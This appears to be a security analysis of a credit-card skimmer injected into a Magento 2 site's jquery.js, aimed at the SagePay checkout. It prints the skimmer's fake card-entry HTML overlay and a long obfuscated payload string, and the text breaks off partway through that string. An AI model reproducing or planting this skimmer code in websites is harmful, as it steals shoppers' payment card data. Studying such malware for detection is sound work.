Skimmer Targets SagePay Payment Method on Magento 2 Websites
Outline
This JavaScript skimmer was found injected into the Magento 2 core source file:
lib/web/jquery.js
Owner Reports Malicious Activity⌗
I believe changes have been made which is affecting the checkout pages. Can you check for skimming in all recent file edits etc. We noticed our SagePay payment method has changed to allow customers to enter card details directly on the checkout page. We have never enabled this option and always opted for routing customers to SagePay servers with an iframe to enter directly on their website.
Thankfully the website owner was able to quickly detect this suspicious activity and reversed the change that the attacker had made to the Sagepay payment method.
Skimmer⌗
It uses the “traditional” skimming method of using JavaScript and generating its own HTML overlay for the payment data fields.
jQuery("#sagepaysuiteserver")
.parent()
.parent()
.find(".payment-method-content")
.prepend(
'<div id="payment_form_authorizenet_directpost"><div> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Credit Card Number</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <input type="number" name="payment[cc_number]" id="authorizenet_directpost_cc_number" title="Credit Card Number" style="box-shadow: none;width: 225px !important;height: 32px !important;color: black;font-family: Arial;"><div id="authorizenet_directpost_cc_number-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Please enter a valid credit card type number.</div></div></div><div style="margin-top: 20px;"> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Expiration Date</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <select name="payment[cc_exp_month]" id="authorizenet_directpost_expiration" style="box-shadow: none;width: 140px !important;height: 32px !important;border: 1px solid #c2c2c2;color: black;font-family: Arial;margin-right: 5px;min-height: 32px !important;"><option value="0">Month</option><option value="1">01 - January</option><option value="2">02 - February</option><option value="3">03 - March</option><option value="4">04 - April</option><option value="5">05 - May</option><option value="6">06 - June</option><option value="7">07 - July</option><option value="8">08 - August</option><option value="9">09 - September</option><option value="10">10 - October</option><option value="11">11 - November</option><option value="12">12 - December</option> </select><select name="payment[cc_exp_year]" id="authorizenet_directpost_expiration_yr" style="box-shadow: none;width: 80px !important;height: 32px !important;border: 1px solid #c2c2c2;color: black;font-family: Arial;min-height: 32px !important;"><option value="0">Year</option><option value="2020">2020</option><option value="2021">2021</option><option value="2022">2022</option><option value="2023">2023</option><option value="2024">2024</option><option value="2025">2025</option><option value="2026">2026</option><option value="2027">2027</option><option value="2028">2028</option><option value="2029">2029</option><option value="2030">2030</option> </select><div id="authorizenet_directpost_expiration-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Incorrect credit card expiration date.</div></div></div><div style="margin-top: 20px;"> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Card Verification Number</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <input type="number" style="box-shadow: none;width: 65px !important;height: 32px !important;color: black;font-family: Arial;" id="authorizenet_directpost_cc_cid" name="payment[cc_cid]" title="Card Verification Number"><div id="authorizenet_directpost_cc_cid-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Please enter a valid credit card verification number.</div></div></div></div>'
),
This is similar to how IRL skimmers will use overlays that sit between the user and the actual keyboard interface:
Functions⌗
The skimmer code is obfuscated and split into 2 lines, which are injected to separate lines among the existing thousands of lines of legitimiate code inside the Magento 2 jquery.js file.
lib/web/jquery.js:
-
var s31464 = "1gc66pc666e546n516m6e4v5a5c6k5c6j6m6n4c6q506d486n6d506r6f5c6l3d536c6n5e6d546m6n3d3c6i3n6c6n515053546n50513n3k4c6d6g6p506m533l575s6c506r6g3b3b575s6c506r6g3d3n3m6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6l506n526d553b3b3d536c6n5e4n3d3c4t5e6l505c6r486n6d506r6f5c6l3d6e546n516m6e4v5a5c6k5c6j6m6n3c3c644t4k4x4x3c4q6f5c6r3l506n5e6r6g6p6d5a515c6d5c4c536c6n5e6d546m6n3d503c6i6f5c6r3l6d4t6m4t6n4c5f6d6m5c3d506n5e6m51505g5v484i6m6k6p6m6n506n6d3d503c3c4t6r4c3n3n4q536m6r3d6d4c4x4q6d4d6n4v6l506n526d554q6d3e3e3c6m4c4z4k3e3d4z4p3e3d4w4z4n5b6n5m6d584v5e555c6r4i6m51504g6d3d4x3c3c5b4w4z4w3c4t6r3e4c5u6d6r546n524v536r6m6k4i555c6r4i6m51503d6m3c4q6r506d6c6r6n3l6r644t536c6n5e6d546m6n4n4c536c6n5e6d546m6n3d3c6i575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c5m4x584v5c5151446f506n6d5p546q6d506n506r3d3n56506g6p6r506q6q3n4t536c6n5e6d546m6n3d503c6i4w4y4c4c4c3d504v56506g4i6m51506565504v6e55545e553c3b3b504v6p6r506f506n6d4550535c6c6l6d3d3c644t3k4w3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c5m4x584v5c5151446f506n6d5p546q6d506n506r3d3n56506g6p6r506q6q3n4t536c6n5e6d546m6n3d503c6i4w4y4c4c4c3d504v56506g4i6m51506565504v6e55545e553c3b3b504v6p6r506f506n6d4550535c6c6l6d3d3c644t3k4w3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v5f546n513d6i546n6p6c6d4r536c6n5e6d546m6n3d503c6i504v6p6r506f506n6d4550535c6c6l6d3d3c4q6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4t6m4c6d4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4q6d4v6f5c6l3d6m3c4t6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3c4v555451503d3c644t536m5e6c6q6m6c6d4r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4q536c6n5e4l3d3c65653d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3c4v6q556m6e3d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v5f546n513d6i5e555c6n52504r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4q4w3k4c536c6n5e4z3d3c65654w3k4c536c6n5e4y3d3c4e3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v6q556m6e3d3c3c4r3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v555451503d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v5f546n513d6i5e555c6n52504r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4q4w3k4c536c6n5e4z3d3c65654w3k4c536c6n5e4y3d3c4e3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v6q556m6e3d3c3c4r3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v555451503d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v5f546n513d6i546n6p6c6d4r536c6n5e6d546m6n3d503c6i504v6p6r506f506n6d4550535c6c6l6d3d3c4q6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4q6d4v6f5c6l3d536c6n5e6d546m6n4p3d4l3c3c4t6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3c4v555451503d3c644t536m5e6c6q6m6c6d4r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4q536c6n5e4k3d3c65653d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3c4v6q556m6e3d3c3c64643c4t6q506d486n6d506r6f5c6l3d536c6n5e6d546m6n3d3c6i536c6n5e4o3d3c3b3b536c6n5e4p3d3c644t4k4x4x3c644t536c6n5e6d546m6n4l4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c516m5e6c6k506n6d4v52506d446l506k506n6d4j6g48513d3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4q6r506d6c6r6n3l6f6m54513l4x3k4c4c503b3b6n6c6l6l3k4c50644t536c6n5e4o4c536c6n5e6d546m6n3d3c6i6r506d6c6r6n3l536c6n5e4l3d3c3b3b4w4c4c536c6n5e4z3d3c3b3b4w4c4c536c6n5e4y3d3c3b3b536c6n5e4k3d3c644t536c6n5e4n4c536c6n5e6d546m6n3d3c6i536c6n5e6d546m6n4l3d3c65653d575s6c506r6g3d3n3m6p5c6g6k506n6d5a536m6r6k5a6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6r506k6m6f503d3c4t575s6c506r6g3d3n3m6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6p5c6r506n6d3d3c4v6p5c6r506n6d3d3c4v53546n513d3n4v6p5c6g6k506n6d4s6k506d556m514s5e6m6n6d506n6d3n3c4v6p6r506p506n513d3a4d51546f3l54514c3n6p5c6g6k506n6d5a536m6r6k5a5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d3n4f4d51546f4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f4i6r5051546d3l4i5c6r513l5r6c6k5f506r4d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d546n6p6c6d3l6d6g6p504c3n6n6c6k5f506r3n3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a6n6c6k5f506r583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3l6d546d6l504c3n4i6r5051546d3l4i5c6r513l5r6c6k5f506r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4z4z4k6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q3n4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f5t6l505c6q503l506n6d506r3l5c3l6f5c6l54513l5e6r5051546d3l5e5c6r513l6d6g6p503l6n6c6k5f506r4v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4z4x6p6h4q3n4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f446h6p546r5c6d546m6n3l455c6d504d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d6q506l505e6d3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a506h6p5a6k6m6n6d55583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4w4l4x6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5f6m6r51506r4r3l4w6p6h3l6q6m6l54513l3m5e4z5e4z5e4z4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q6k5c6r52546n4s6r5452556d4r3l4k6p6h4q6k546n4s55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q3n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4x3n4f5o6m6n6d554d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w3n4f4x4w3l4s3l4b5c6n6c5c6r6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z3n4f4x4z3l4s3l47505f6r6c5c6r6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4y3n4f4x4y3l4s3l5o5c6r5e554d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4l3n4f4x4l3l4s3l4g6p6r546l4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4k3n4f4x4k3l4s3l5o5c6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4n3n4f4x4n3l4s3l4b6c6n504d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4m3n4f4x4m3l4s3l4b6c6l6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4p3n4f4x4p3l4s3l4g6c526c6q6d4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4o3n4f4x4o3l4s3l5u506p6d506k5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4x3n4f4w4x3l4s3l5q5e6d6m5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4w3n4f4w4w3l4s3l5r6m6f506k5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4z3n4f4w4z3l4s3l45505e506k5f506r4d4u6m6p6d546m6n4f3l4d4u6q506l505e6d4f4d6q506l505e6d3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a506h6p5a6g505c6r583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4p4x6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5f6m6r51506r4r3l4w6p6h3l6q6m6l54513l3m5e4z5e4z5e4z4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q6k546n4s55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q3n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4x3n4f5k505c6r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4x3n4f4z4x4z4x4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4w3n4f4z4x4z4w4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4z3n4f4z4x4z4z4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4y3n4f4z4x4z4y4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4l3n4f4z4x4z4l4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4k3n4f4z4x4z4k4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4n3n4f4z4x4z4n4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4m3n4f4z4x4z4m4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4p3n4f4z4x4z4p4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4o3n4f4z4x4z4o4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4y4x3n4f4z4x4y4x4d4u6m6p6d546m6n4f3l4d4u6q506l505e6d4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f486n5e6m6r6r505e6d3l5e6r5051546d3l5e5c6r513l506h6p546r5c6d546m6n3l515c6d504v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4z4x6p6h4q3n4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f4i5c6r513l5j506r5453545e5c6d546m6n3l5r6c6k5f506r4d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d546n6p6c6d3l6d6g6p504c3n6n6c6k5f506r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4n4k6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q3n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a5e5451583n3l6d546d6l504c3n4i5c6r513l5j506r5453545e5c6d546m6n3l5r6c6k5f506r3n4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f5t6l505c6q503l506n6d506r3l5c3l6f5c6l54513l5e6r5051546d3l5e5c6r513l6f506r5453545e5c6d546m6n3l6n6c6k5f506r4v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d4u51546f4f3a3c4t536c6n5e6d546m6n4l3d3c3b3b536c6n5e6d546m6n4n3d3c3c644t536c6n5e6d546m6n4p4c536c6n5e6d546m6n3d503c6i6r506d6c6r6n3l536c6n5e6d546m6n4l3d3c4e4w4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4r4z4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v6f5c6l3d3c4r4y4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v6f5c6l3d3c4r4l4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4r6f6m54513l4x4r3n3n644t536c6n5e6d546m6n4m4c536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c6n506e3l5v5052446h6p3d3n5b4l3n3c4q54533d6n6c6l6l3k4c504v6k5c6d5e553d6d3c3c6r506d6c6r6n3n6m6p6p4z3n4q54533d6d4c6n506e3l5v5052446h6p3d3n5b4y5m4l4m583n3c4t6n6c6l6l3k4c504v6k5c6d5e553d6d3c3c6r506d6c6r6n3n6m6p6p4w3n4q6f5c6r3l6m4c504q6r506d6c6r6n3l6m4v6l506n526d554f4c4z3b3b3n4z3n4c4c6m5m4x583b3b6m5m4w584f4c3n4z3n3b3b6m5m4w584d4c3n4m3n4e3n6m6p6p4y3n4r6m4v6l506n526d554f4c4z3b3b3n4k3n4c4c6m5m4x583b3b6m5m4w584f4c3n4w3n3b3b6m5m4w584d4c3n4k3n4e3n6m6p6p4y3n4r6m4v6l506n526d554f4c4z3b3b3n4n3n4c4c6m5m4x583b3b3d3n4k3n4c4c6m5m4w5865653n4x3n4c4c6m5m4w5865653n4l3n4c4c6m5m4w583c4e3n6m6p6p4l3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3n4k3n4c4c6m5m4w584e3n6m6p6p4k3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3n4x3n4c4c6m5m4w584e3n6m6p6p4n3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3d3n4n3n4c4c6m5m4w5865653n4p3n4c4c6m5m4w5865653n4o3n4c4c6m5m4w5865653n4x3n4c4c6m5m4w583c4e3n6m6p6p4n3n4r3n6m6p6p4m3n644t536c6n5e4l4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c536c6n5e6d546m6n4m3d536c6n5e6d546m6n4p3d4w3c3c4t6d4c536c6n5e6d546m6n4p3d4w3c4v6l506n526d554t6m4c536c6n5e6d546m6n4p3d4w3c4q54533d3n6m6p6p4w3n4c4c503c6i54533d4w4k3k4c6d3c6r506d6c6r6n3k4w64506l6q503l54533d3n6m6p6p4n3n4c4c503c6i54533d6d4d4w4l3c6r506d6c6r6n3k4w64506l6q506i54533d3n6m6p6p4m3n4c4c503c6r506d6c6r6n3k4w4q54533d6d4d4w4n3c6r506d6c6r6n3k4w64536m6r3d6f5c6r3l6n4c6m4v6q6p6l546d3d3n3n3c4t6r4c4x4q6r4d6n4v6l506n526d554q6r3e3e3c6n5m6r584c6p5c6r6q50486n6d3d6n5m6r584t4w4x3c4q6f5c6r3l544c4x4t5c4c3k4w4q536m6r3d6r4c6n4v6l506n526d554s4w4q6r4f4c4x4q6r4s4s3c5c3b3b3d6n5m6r583f4c4z4t6n5m6r584f4o3b3b3d6n5m6r584s4c4o3c3c4t543e4c6n5m6r584t5c4c3k5c4q6r506d6c6r6n3l54384w4x4c4c4x644t536c6n5e4z4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c6n506e3l455c6d504t6d4c504v52506d476c6l6l5k505c6r3d3c4t6m4c504v52506d5o6m6n6d553d3c4t6n4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4y3c3c4t6r4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4z3c3c4q6r506d6c6r6n3l6r4f4c4w3b3b6r4d4c4w4z4e6n4c4c6d3b3b6r4d4c6m4e4s4w4r4w4r4x644t536c6n5e4y4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c3d6n506e3l455c6d503c4v52506d476c6l6l5k505c6r3d3c4t6d4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4y3c3c4q6r506d6c6r6n3l6d4f4c503b3b6d4d4c4z4x4m4x4e4w4r6d4d504e4s4w4r4x644t536c6n5e4k4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c536c6n5e6d546m6n4p3d4l3c4v6l506n526d554t6d4c536c6n5e6d546m6n4m3d536c6n5e6d546m6n4p3d4w3c3c4q6r506d6c6r6n3n6m6p6p4w3n4c4c6d65653n6m6p6p4m3n4c4c6d4e4l4c4c504e4w4r4x4r4y4c4c504e4w4r4x644t536c6n5e4p4c536c6n5e6d546m6n3d3c6i54533d3k6e546n516m6e4v5a5c6k5c6j6m6n5a5c6r6d3c6i6f5c6r3l504c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v6f5c6l3d3c4t6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v6f5c6l3d3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v6f5c6l3d3c4t6n4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v6f5c6l3d3c4q6r506o6c546r503d5m3n576o6c506r6g3n4t3n5o5c52506n6d6m5a4i55505e566m6c6d4u576q4u6k6m51506l4u6o6c6m6d503n584t536c6n5e6d546m6n3d6r4t544t5c3c6i54533d5e6c6q6d6m6k506r455c6d5c4c6e546n516m6e4v5e6c6q6d6m6k506r455c6d5c4t506k5c546l4c5e6c6q6d6m6k506r455c6d5c4